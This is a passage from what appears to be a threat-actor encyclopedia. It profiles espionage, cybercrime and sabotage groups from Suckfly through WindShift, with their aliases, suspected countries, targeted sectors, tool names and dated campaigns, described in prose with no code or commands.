China, an organization in Sweden, and an embassy in Belgium. Observed Sectors: Defense, Embassies, Financial, Government, Scientific research centers and Telecommunications. Countries: Belgium, China, Iran, Russia, Rwanda and Sweden. Tools used Remsec. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Suckfly Names Suckfly (Symantec) Country China Motivation Information theft and espionage Description (Symantec) In March 2016, Symantec published a blog on Suckfly, an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates. Since then we have identified a number of attacks over a two-year period, beginning in April 2014, which we attribute to Suckfly. The attacks targeted high-profile targets, including government and commercial organizations. These attacks occurred in several different countries, but our investigation revealed that the primary targets were individuals and organizations primarily located in India. While there have been several Suckfly campaigns that infected organizations with the group s custom malware Backdoor.Nidiran, the Indian targets show a greater amount of post-infection activity than targets in other regions. This suggests that these attacks were part of a planned operation against specific targets in India. Observed Sectors: E-commerce, Entertainment, Financial, Government, Healthcare, Media, Shipping, Software development and Video game development. Countries: India. Tools used gsecdump, Nidiran, rcpscan, smbscan and wce. Operations performed Apr 2014 The first known Suckfly campaign began in April of 2014. During our investigation of the campaign, we identified a number of global targets across several industries who were attacked in 2015. Many of the targets we identified were well known commercial organizations located in India. Late 2015 We discovered Suckfly, an advanced threat group, conducting targeted attacks using multiple stolen certificates, as well as hacktools and custom malware. The group had obtained the certificates through pre-attack operations before commencing targeted attacks against a number of government and commercial organizations spread across multiple continents over a two-year period. This type of activity and the malicious use of stolen certificates emphasizes the importance of safeguarding certificates to prevent them from being used maliciously. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia TA459 Names TA459 (Proofpoint) Country China Motivation Information theft and espionage Description (Proofpoint) On April 20 [2017], Proofpoint observed a targeted campaign focused on financial analysts working at top global financial firms operating in Russia and neighboring countries. These analysts were linked by their coverage of the telecommunications industry, making this targeting very similar to, and likely a continuation of, activity described in our In Pursuit of Optical Fibers and Troop Intel blog. This time, however, attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-20170199 to deploy the ZeroT Trojan, which in turn downloaded the PlugX Remote Access Trojan (RAT). Proofpoint is tracking this attacker, believed to operate out of China, as TA459. The actor typically targets Central Asian countries, Russia, Belarus, Mongolia, and others. TA549 possesses a diverse malware arsenal including PlugX, NetTraveler, and ZeroT. Observed Sectors: Financial Analysts. Countries: Central Asian countries, Belarus, Mongolia, Russia and others. Tools used Gh0st RAT, NetTraveler, PlugX and ZeroT. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia TA505 Names TA505 (Proofpoint) Country [Unknown] Motivation Financial gain Description (Proofpoint) Proofpoint researchers track a wide range of threat actors involved in both financially motivated cybercrime and state-sponsored actions. One of the more prolific actors that we track - referred to as TA505 - is responsible for the largest malicious spam campaigns we have ever observed, distributing instances of the Dridex banking Trojan, Locky ransomware, Jaff ransomware, The Trick banking Trojan, and several others in very high volumes. Because TA505 is such a significant part of the email threat landscape, this blog provides a retrospective on the shifting malware, payloads, and campaigns associated with this actor. We examine their use malware such as Jaff, Bart, and Rockloader that appear to be exclusive to this group as well as more widely distributed malware like Dridex and Pony. Where possible, we detail the affiliate models with which they are involved and outline the current state of TA505 campaigns. TA505 is arguably one of the most significant financially motivated threat actors because of the extraordinary volumes of messages they send. The variety of malware delivered by the group also demonstrates their deep connections to the underground malware scene. At the time of writing, Locky ransomware remains their malware of choice, even as the group continues to experiment with a variety of additional malware. Observed Sectors: Financial, Hospitality and Retail. Countries: Chile, China, France, Germany, Hungary, India, Italy, Mexico, Malawi, Pakistan, South Korea, Taiwan, UK, Ukraine and USA. Tools used Bart, Dridex, FlawedAmmy, FlawedGrace, GlobeImposter, Jaff, Kegotip, Locky, LOLBins, Necurs, Neutrino, Philadelphia, RockLoader, RMS, ServHelper, Shifu and The Trick. Operations performed Oct 2017 On October 10, TA505 introduced their first geo-targeted campaign dropping either Locky or The Trick banking Trojan. In this campaign, HTML files were attached to emails inquiring about the status of an invoice. Jun 2018 We first observed an actor embedding SettingContent-ms inside a PDF on June 18. However, on July 16 we observed a particularly large campaign with hundreds of thousands of messages attempting to deliver PDF attachments with an embedded SettingContent-ms file. Nov 2018 Since November 15, 2018, Proofpoint began observing email campaigns from a specific actor targeting large retail chains, restaurant chains and grocery chains, as well as other organizations in the food and beverage industries. Threat Group Cards: A Threat Actor Encyclopedia Information Nov 2018 ServHelper and FlawedGrace - New malware introduced by TA505 Dec 2018 In mid-December 2018 a spear-phishing campaign was detected as targeting large US-based retailers along with organizations in the food and beverage industry. Masquerading as a legitimate communication sent from a Ricoh printer, the initial email lured victims into opening an attached malicious Microsoft Word document. Dec 2018 Last month, 360 Threat Intelligence Center captured multiple phishing emails sent by TA505 Group to target financial institutions. These phishing emails contain Excel attachments with Excel 4.0 Macro embedded and download Backdoor at last. Apr 2019 LOLBins and a New Backdoor Malware May 2019 During the last month our Threat Intelligence surveillance team spotted increasing evidence of an operation intensification against the Banking sector. May 2019 In the last few days, during monitoring activities, Yoroi CERT noticed a suspicious attack against an Italian organization. The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution, discovering a potential expansion of the TA505 operation. Threat Group Cards: A Threat Actor Encyclopedia Taidoor Names Taidoor (Trend Micro) Country China Motivation Information theft and espionage Description (Trend Micro) The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots. Observed Sectors: Government. Countries: Taiwan. Tools used Taidoor. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia TeamSpy Crew Names TeamSpy Crew (Kaspersky) SIG39 (NSA) Country Russia Motivation Information theft and espionage Description (Kaspersky) Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one. Observed Countries: Worldwide. Tools used Malicious versions of TeamViewer and JAVA RATs. Information Threat Group Cards: A Threat Actor Encyclopedia TeleBots Names TeleBots (ESET) Country Russia Motivation Sabotage and destruction Description (ESET) In the second half of 2016, ESET researchers identified a unique malicious toolset that was used in targeted cyberattacks against high-value targets in the Ukrainian financial sector. We believe that the main goal of attackers using these tools is cybersabotage. This blog post outlines the details about the campaign that we discovered. We will refer to the gang behind the malware as TeleBots. However it s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group. This group appears to be closely associated with, or evolved from, Sandworm Team, Iron Viking, Voodoo Bear. Observed Sectors: Financial, Software companies and Transportation. Countries: Ukraine and Worldwide (NotPetya). Tools used Felixroot, GreyEnergy, NotPetya and TeleDoor. Operations performed Dec 2016 These recent ransomware KillDisk variants are not only able to target Windows systems, but also Linux machines, which is certainly something we don t see every day. This may include not only Linux workstations but also servers, amplifying the damage potential. Mar 2017 In 2017, the TeleBots group didn t stop their cyberattacks; in fact, they became more sophisticated. In the period between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related to M.E. Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial institutions. May 2017 XData ransomware making rounds amid global WannaCryptor scare A week after the global outbreak of WannaCryptor, also known as WannaCry, another ransomware variant has been making the rounds. Detected by ESET as Win32/Filecoder.AESNI.C, and also known as XData ransomware, the threat has been most prevalent in Ukraine, with 96% of the total detections between May 17th and May 22th, and peaking on Friday, May 19th. ESET has protected its customers against this threat since May 18th. Jun 2017 NotPetya ransomware7 7 See ThaiCERT Whitepaper NotPetya Ransomware Threat Group Cards: A Threat Actor Encyclopedia Oct 2017 Information Bad Rabbit ransomware8 8 See ThaiCERT Whitepaper BadRabbit Ransomware Threat Group Cards: A Threat Actor Encyclopedia Temper Panda, admin@338 Names Temper Panda (Crowdstrike) admin@338 (FireEye) Team338 (Kaspersky) Magnesium (Microsoft) Country China Motivation Information theft and espionage Description (FireEye) The threat group has previously used newsworthy events as lures to deliver malware. They have largely targeted organizations involved in financial, economic and trade policy, typically using publicly available RATs such as Poison Ivy, as well some non-public backdoors. The group started targeting Hong Kong media companies, probably in response to political and economic challenges in Hong Kong and China. The threat group latest activity coincided with the announcement of criminal charges against democracy activists. During the past 12 months, Chinese authorities have faced several challenges, including large-scale protests in Hong Kong in late 2014, the precipitous decline in the stock market in mid-2015, and the massive industrial explosion in Tianjin in August 2015. In Hong Kong, the pro-democracy movement persists, and the government recently denied a professor a post because of his links to a pro-democracy leader. Observed Sectors: Defense, Financial, Government, Media and Think Tanks. Countries: Hong Kong and USA. Tools used Bozok, BUBBLEWRAP, LOWBALL, Poison Ivy and Systeminfo. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia TEMP.Veles Names TEMP.Veles (FireEye) Xenotime (Dragos) Country Russia Sponsor State-sponsored, Central Scientific Research Institute of Chemistry and Mechanics Motivation Sabotage and destruction Description TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems. Observed Sectors: Critical infrastructure, Energy, Manufacturing and Oil and gas. Countries: Saudi Arabia, USA and others. Tools used Cryptcat, HatMan, Mimikatz, NetExec, PSExec, SecHack, TRISIS, TRITON and Wii. Operations performed 2014 TRISIS malware 2017 TRITON malware Feb 2019 The most dangerous threat to ICS has new targets in its sights. Dragos identified the XENOTIME activity group expanded its targeting beyond oil and gas to the electric utility sector. This expansion to a new vertical illustrates a trend that will likely continue for other ICStargeting adversaries. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Terbium Names Terbium (Microsoft) Country [Unknown] Motivation Sabotage and destruction Description (Microsoft) A few weeks ago, multiple organizations in the Middle East fell victim to targeted and destructive attacks that wiped data from computers, and in many cases rendering them unstable and unbootable. Destructive attacks like these have been observed repeatedly over the years and the Windows Defender and Windows Defender Advanced Threat Protection Threat Intelligence teams are working on protection, detection, and response to these threats. Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as Terbium, following our internal practice of assigning rogue actors chemical element names. Observed Countries: Middle East. Tools used Depriz. Information Threat Group Cards: A Threat Actor Encyclopedia Thrip Names Thrip (Symantec) Country China Motivation Information theft, espionage and sabotage Description (Symantec) Perhaps the most worrying discovery we made was that Thrip had targeted a satellite communications operator. The attack group seemed to be particularly interested in the operational side of the company, looking for and infecting computers running software that monitors and controls satellites. This suggests to us that Thrip s motives go beyond spying and may also include disruption. Another target was an organization involved in geospatial imaging and mapping. Again, Thrip seemed to be mainly interested in the operational side of the company. It targeted computers running MapXtreme Geographic Information System (GIS) software which is used for tasks such as developing custom geospatial applications or integrating location-based data into other applications. It also targeted machines running Google Earth Server and Garmin imaging software. The satellite operator wasn t the only communications target Thrip was interested in. The group had also targeted three different telecoms operators, all based in Southeast Asia. In all cases, based on the nature of the computers infected by Thrip, it appeared that the telecoms companies themselves and not their customers were the targets of these attacks. In addition, there was a fourth target of interest, a defense contractor. Observed Sectors: Defense, Satellite and Telecommunications. Countries: Southeast Asia and USA. Tools used Catchamas, Mimikatz, Rikamanu, Spedear and WMI Ghost. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Transparent Tribe, APT 36 Names Transparent Tribe (Proofpoint) APT 36 (Mandiant) ProjectM (Palo Alto) Mythic Leopard (CrowdStrike) TEMP.Lapis (FireEye) Country Pakistan Motivation Information theft and espionage Description (Proofpoint) Proofpoint researchers recently uncovered evidence of an advanced persistent threat (APT) against Indian diplomatic and military resources. Our investigation began with malicious emails sent to Indian embassies in Saudi Arabia and Kazakstan but turned up connections to watering hole sites focused on Indian military personnel and designed to drop a remote access Trojan (RAT) with a variety of data exfiltration functions. Our analysis shows that many of the campaigns and attacks appear related by common IOCs, vectors, payloads, and language, but the exact nature and attribution associated with this APT remain under investigation. At this time, the background and analysis in this paper provide useful forensics and detail our current thinking on the malware that we have dubbed MSIL/Crimson Observed Sectors: Defense, Embassies and Government. Countries: India. Tools used Andromeda, beendoor, Bezigate, Bozok, BreachRAT, Crimson RAT, DarkComet, Luminosity RAT, njRAT, Peppy Trojan and UPDATESEE. Operations performed Feb 2016 Operation Transparent Tribe On February 11, 2016, we discovered two attacks minutes apart directed towards officials at Indian embassies in both Saudi Arabia and Kazakhstan. Both e-mails (Fig. 1, 2) were sent from the same originating IP address (5.189.145[.]248) belonging to Contabo GmbH, a hosting provider that seems to be currently favored by these threat actors. The e-mails also likely utilized Rackspace s MailGun service and both of them were carrying the same exact attachment. Mar 2016 Indian TV station CNN-IBN has discovered that Pakistani officials were collecting data about Indian troop movements using an Android app called SmeshApp. Mar 2016 Operation C-Major Trend Micro is reporting on a third campaign, which they've named Operation C-Major. According to the security firm, this campaign targeted Indian military officials via spear-phishing emails, distributing spyware to its victims via an Adobe Reader vulnerability. Threat Group Cards: A Threat Actor Encyclopedia Feb 2017 Information This blog post describes another attack campaign where attackers impersonated identity of Indian think tank IDSA (Institute for Defence Studies and Analyses) and sent out spear-phishing emails to target officials of the Central Bureau of Investigation (CBI) and possibly the officials of Indian Army. Threat Group Cards: A Threat Actor Encyclopedia Tropic Trooper Names Tropic Trooper (Trend Micro) Country [Unknown] Motivation Information theft and espionage Description Tropic Trooper is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. Tropic Trooper focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011. Observed Sectors: Defense, Government, Healthcare, High-Tech and Transportation. Countries: Hong Kong, Philippines and Taiwan. Tools used KeyBoy, PCShare, Poison Ivy, Titan, Yahoyah and Winsloader. Operations performed 2012 Operation Tropic Trooper Taiwan and the Philippines have become the targets of an ongoing campaign called Operation Tropic Trooper. Active since 2012, the attackers behind the campaign have set their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies. 2014 New Strategy Tropic Trooper (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine, and Hong Kong targets, focusing on their government, healthcare, transportation, and high-tech industries. Aug 2016 In early August, Unit 42 identified two attacks using similar techniques. The more interesting one was a targeted attack towards the Secretary General of Taiwan s Government office Executive Yuan. The Executive Yuan has several individual boards which are formed to enforce different executing functions of the government. The Executive Yuan Council evaluates statutory and budgetary bills and bills concerning martial law, amnesty, declaration of war, conclusion of peace and treaties, and other important affairs. 2017 Tropic Trooper goes mobile with Titan surveillanceware The latest threat to follow this trend is Titan, a family of sophisticated Android surveillanceware apps surfaced by Lookout's automated analysis that, based on command and control infrastructure, is linked to the same actors behind Operation Tropic Trooper. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Turla, Waterbug, Venomous Bear Names Turla (Kaspersky) Waterbug (Symantec) Venomous Bear (CrowdStrike) Group 88 (Talos) SIG23 (NSA) Iron Hunter (SecureWorks) Pacifier APT (Bitdefender) Country Russia Sponsor State-sponsored Motivation Information theft and espionage Description Turla is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. Turla is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. Turla s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. Observed Sectors: Defense, Education, Embassies, Energy, Government, High-Tech, Media, NGOs, Pharmaceutical, Research and Retail. Countries: Afghanistan, Algeria, Armenia, Australia, Austria, Azerbaijan, Belarus, Belgium, Bolivia, Botswana, Brazil, China, Chile, Denmark, Ecuador, Estonia, Finland, France, Georgia, Germany, Hong Kong, Hungary, India, Indonesia, Iran, Iraq, Italy, Jamaica, Jordan, Kazakhstan, Kyrgyzstan, Kuwait, Latvia, Mexico, Netherlands, Pakistan, Paraguay, Poland, Qatar, Romania, Russia, Serbia, Spain, Saudi Arabia, South Africa, Sweden, Switzerland, Syria, Tajikistan, Thailand, Tunisia, Turkmenistan, UK, Ukraine, Uruguay, USA, Uzbekistan, Venezuela, Vietnam and Yemen. Tools used AdobeARM, Agent.BTZ, Agent.DNE, ATI-Agent, Cobra Carbon System, ComRAT, Empire, Epic, Gazer, gpresult, HTML5 Encoding, IcedCoffeer, Kazuar, KopiLuwak, KRYPTON, KSL0T, LightNeuron, Maintools.js, Metasploit, Mimikatz, MiniDionis, Mosquito, Nautilus, nbtstat, Neuron, Outlook Backdoor, Penguin Turla, Pfinet, Popeye, pwdump, Skipper, Snake, Systeminfo, Tasklist, Tavdig, Turla, Uroburos, wce, WhiteAtlas, WhiteBear, Wipbot, WITCHCOVEN and WRAITH. Operations performed 1996 Operation Moonlight Maze That is why our experts, aided by researchers from King s College London, have carefully studied Moonlight Maze one of the first widely known cyberespionage campaigns, active since at least 1996. It is of particular interest because several independent experts from countries have voiced the proposition that it is associated with a much more modern and still active group, the authors of the Turla APT attack. Nov 2008 Breach of the US Department of Defense 2013 Breach of the Finnish Foreign Ministry Threat Group Cards: A Threat Actor Encyclopedia 2013 Operation Epic Turla Over the last 10 months, Kaspersky Lab researchers have analyzed a massive cyber-espionage operation which we call Epic Turla . The attackers behind Epic Turla have infected several hundred computers in more than 45 countries, including government institutions, embassies, military, education, research and pharmaceutical companies. 2014 Breach of the Swiss military firm RUAG Dec 2014 Operation Penguin Turla The Turla APT campaigns have a broader reach than initially anticipated after the recent discovery of two modules built to infect servers running Linux. Until now, every Turla sample in captivity was designed for either 32- or 64-bit Windows systems, but researchers at Kaspersky Lab have discovered otherwise. 2015 Operation Satellite Turla Obviously, such incredibly apparent and large-scale attacks have little chance of surviving for long periods of time, which is one of the key requirements for running an APT operation. It is therefore not very feasible to perform the attack through MitM traffic hijacking, unless the attackers have direct control over some high-traffic network points, such as backbone routers or fiber optics. There are signs that such attacks are becoming more common, but there is a much simpler way to hijack satellite-based Internet traffic. 2015 Operation WITCHCOVEN When an unsuspecting user visits any of the over 100 compromised websites, a small piece of inserted code embedded in the site HTML and invisible to casual visitors quietly redirects the user browser to a second compromised website without the user knowledge. This second website hosts the WITCHCOVEN script, which uses profiling techniques to collect technical information on the user s computer. As of early November 2015, we identified a total of 14 websites hosting the WITCHCOVEN profiling script. Nov 2016 Operation Skipper Turla On 28 January 2017, John Lambert of Microsoft (@JohnLaTwC) tweeted about a malicious document that dropped a very interesting .JS backdoor . Since the end of November 2016, Kaspersky Lab has observed Turla using this new JavaScript payload and specific macro variant. 2017 Operation Turla Mosquito Threat Group Cards: A Threat Actor Encyclopedia ESET researchers have observed a significant change in the campaign of the infamous espionage group Mar 2017 New versions of Carbon The Turla espionage group has been targeting various institutions for many years. Recently, we found several new versions of Carbon, a second stage backdoor in the Turla group arsenal. May 2017 New backdoor Kazuar Jun 2017 Some of the tactics used in APT attacks die hard. A good example is provided by Turla s watering hole campaigns. Turla, which has been targeting governments, government officials and diplomats for years see, as an example, this recent paper is still using watering hole techniques to redirect potentially interesting victims to their C&C infrastructure. In fact, they have been using them since at least 2014 with very few variations in their modus operandi. Jul 2017 Russian malware link hid in a comment on Britney Spears' Instagram The Slovak IT security company ESET Security released a report yesterday detailing a cleverly hidden example of such a post. And its hideout? A Britney Spears photo. Among the nearly 7,000 comments written on the performer's post (shown below) was one that could easily pass as spam. Aug 2017 New backdoor Gazer Aug 2017 In this case, the dropper is being delivered with a benign and possibly stolen decoy document inviting recipients to a G20 task force meeting on the "Digital Economy". The Digital Economy event is actually scheduled for October of this year in Hamburg, Germany. Jan 2018 A notorious hacking group is targeting the UK with an updated version of malware designed to embed itself into compromised networks and stealthily conduct espionage. Both the Neuron and Nautilus malware variants have previously been attributed to the Turla advanced persistent threat group, which regularly carries out cyber-espionage against a range of targets, including government, military, technology, energy, and other commercial organisations. Threat Group Cards: A Threat Actor Encyclopedia Mar 2018 Starting in March 2018, we observed a significant change in the campaign: it now leverages the open source exploitation framework Metasploit before dropping the custom Mosquito backdoor. 2018 Much of our 2018 research focused on Turla s KopiLuwak javascript backdoor, new variants of the Carbon framework and meterpreter delivery techniques. Also interesting was Mosquito s changing delivery techniques, customized PoshSec-Mod open-source powershell use, and borrowed injector code. We tied some of this activity together with infrastructure and data points from WhiteBear and Mosquito infrastructure and activity in 2017 and 2018. May 2019 Turla, also known as Snake, is an infamous espionage group recognized for its complex malware. To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. This allows them to bypass detection that can trigger when a malicious executable is dropped on disk. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Urpage Names Urpage (Trend Micro) Country [Middle East] Sponsor State-sponsored Motivation Information theft and espionage Description (Trend Micro) In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes. In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, Dropping Elephant, and another threat actor called Bahamut. For the sake of this report, we will call this unnamed threat actor Urpage. Observed Countries: Pakistan. Tools used Trojaned Android applications. Information Threat Group Cards: A Threat Actor Encyclopedia Volatile Cedar Names Volatile Cedar (Check Point) Dancing Salome (Kaspersky) Country Lebanon Motivation Information theft and espionage Description (Check Point) Beginning in late 2012, the carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive. This report provides an extended technical analysis of Volatile Cedar and the Explosive malware. We have seen clear evidence that Volatile Cedar has been active for almost 3 years. While many of the technical aspects of the threat are not considered cutting edge , the campaign has been continually and successfully operational throughout this entire timeline, evading detection by the majority of AV products. This success is due to a well-planned and carefully managed operation that constantly monitors its victims actions and rapidly responds to detection incidents. Observed Sectors: Education, Government and Hosting. Countries: Canada, Israel, Lebanon, Russia, Saudi Arabia, UK and USA. Tools used Explosive. Operations performed Jun 2015 Information After going public with our findings, we were provided with a new configuration belonging to a newly discovered sample we have never seen before. Threat Group Cards: A Threat Actor Encyclopedia Whitefly Names Whitefly (Symantec) Country [Unknown] Motivation Information theft and espionage Description (Symantec) Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics, such as malicious PowerShell scripts. From mid-2017 to mid-2018, Whitefly launched targeted attacks against multiple organizations. While most of these organizations were based in Singapore, some were multinational organizations with a presence in Singapore. Observed Sectors: Engineering, Healthcare, Media and Telecommunications. Countries: Singapore. Tools used Mimikatz, Nibatad, Termite and Vcrodat. Operations performed Jul 2018 Information Breach of SingHealth Threat Group Cards: A Threat Actor Encyclopedia Wicked Spider, APT 22 Names Wicked Spider (CrowdStrike) APT 22 (Mandiant) Country China Motivation Financial gain Description (CrowdStrike) Winnti Group, Blackfly, Wicked Panda refers to the targeted intrusion operations of the actor publicly known as Winnti, whereas Wicked Spider represents this group s financially-motivated criminal activity. Originally, Wicked Spider was observed exploiting a number of gaming companies and stealing codesigning certificates for use in other operations associated with the malware known as Winnti. Now, Winnti is commonly associated with the interests of the government of the People s Republic of China (PRC). Wicked Spider has been observed targeting technology companies in Germany, Indonesia, the Russian Federation, South Korea, Sweden, Thailand, Turkey, the United States, and elsewhere. Notably, Wicked Spider has often targeted gaming companies for their certificates, which can be used in future PRC-based operations to sign malware. Ongoing analysis is still evaluating how these certificates are used whether Wicked Spider hands the certificates off to other adversaries for use in future campaigns or stockpiles them for its own use. Observed Sectors: Technology. Countries: Germany, Indonesia, Russia, South Korea, Sweden, Thailand, Turkey, USA and elsewhere. Tools used ETERNALBLUE, DOUBLEPULSAR and PlugX. Information Threat Group Cards: A Threat Actor Encyclopedia Wild Neutron, Butterfly, Sphinx Moth Names Wild Neutron (Kaspersky) Butterfly (Symantec) Morpho (Symantec) Sphinx Moth (Kudeslski) Country [Unknown] Motivation Information theft and espionage Description (Symantec) A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes. Observed Sectors: Bitcoin-related companies, Healthcare, Investment companies, IT, Real estate, lawyers and individual users. Countries: Algeria, Austria, Canada, France, Germany, Kazakhstan, Palestine, Russia, Slovenia, Switzerland, UAE and USA. Tools used HesperBot, JripBot, WildNeutron and many 0-days vulnerabilities. Operations performed Jan 2013 Attack on Twitter Feb 2013 Attack on Facebook Feb 2013 Attack on Apple Feb 2013 Attack on Microsoft Information Threat Group Cards: A Threat Actor Encyclopedia Threat Group Cards: A Threat Actor Encyclopedia Winnti Group, Blackfly, Wicked Panda Names Winnti Group (Kaspersky) Blackfly (Symantec) Wicked Panda (CrowdStrike) Country China Sponsor State-sponsored Motivation Information theft and espionage Description Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Some reporting suggests a number of other groups, including Axiom, Group 72, APT 17, Deputy Dog, and Ke3chang, Vixen Panda, APT 15, GREF, Playful Dragon, are closely linked to Winnti Group. (Trend Micro) The group behind the Winnti malware (which we will call the Winnti group for brevity) sprung up as a band of traditional cyber crooks, comprising black hats whose technical skills were employed to perpetrate financial fraud. Based on the use of domain names they registered, the group started out in the business of fake/rogue anti-virus products in 2007. In 2009, the Winnti group shifted to targeting gaming companies in South Korea using a self-named data- and file-stealing malware. The group, which was primarily motivated by profit, is noted for utilizing selfdeveloped technically-proficient tools for their attacks. They once attacked a game server to illicitly farm in-game currency ( gaming gold , which also has real-world value) and stole source codes of online game projects. The group also engaged in the theft of digital certificates which they then used to sign their malware to make them stealthier. The Winnti group diversified its targets to include enterprises such as those in pharmaceutics and telecommunications. The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor. Observed Sectors: Online video game companies, Pharmaceutical and Telecommunications. Countries: Belarus, Brazil, China, Germany, India, Indonesia, Japan, Peru, Philippines, Russia, South Korea, Taiwan, Thailand, USA and Vietnam. Tools used Cobalt Strike and Winnti. Operations performed 2010 HBGary investigated an information security incident at an American video game company. 2011 In the autumn of 2011, a Trojan was detected on a huge number of computers all of them linked by the fact that they were used by players of a popular online game. It emerged that the piece of malware landed on users computers as part of a regular update from the game s official update server. Some even suspected that the publisher itself was spying on players. However, it later became clear that the malicious program ended up on the users computers by mistake: the cybercriminals were in fact targeting the companies that develop and release computer games. Threat Group Cards: A Threat Actor Encyclopedia Aug 2014 This time the operators put such tag in the configuration and it turned out to be the name of the well-known global pharmaceutical company headquartered in Europe. Oct 2015 Breach of a Vietnamese gaming company During the investigation, a Linux version of Winnti was found. Feb 2016 Breach of German Steelmaker ThyssenKrupp Autumn 2016 Breach of TeamViewer Mar 2017 Recently, the Winnti group, a threat actor with a past of traditional cybercrime -particularly with financial fraud, has been seen abusing GitHub by turning it into a conduit for the command and control (C&C) communications of their seemingly new backdoor (detected by Trend Micro as BKDR64_WINNTI.ONM). Early 2018 Breach of German chemicals giant Bayer Mar 2019 Although the malware uses different configurations in each case, the three affected software products included the same backdoor code and were launched using the same mechanism. While two of the compromised products no longer include the backdoor, one of the affected developers is still distributing the trojanized version: ironically, the game is named Infestation, and is produced by Thai developer Electronics Extreme. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia WindShift Names WindShift (DarkMatter) Country [Unknown] Motivation Information theft and espionage Description (Palo Alto) In August of 2018, DarkMatter released a report entitled In the Trails of WindShift APT , which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles were released by Objective-See which provide an analysis of some validated WindShift samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WindShift attack as it unfolded at a Middle Eastern government agency. Observed 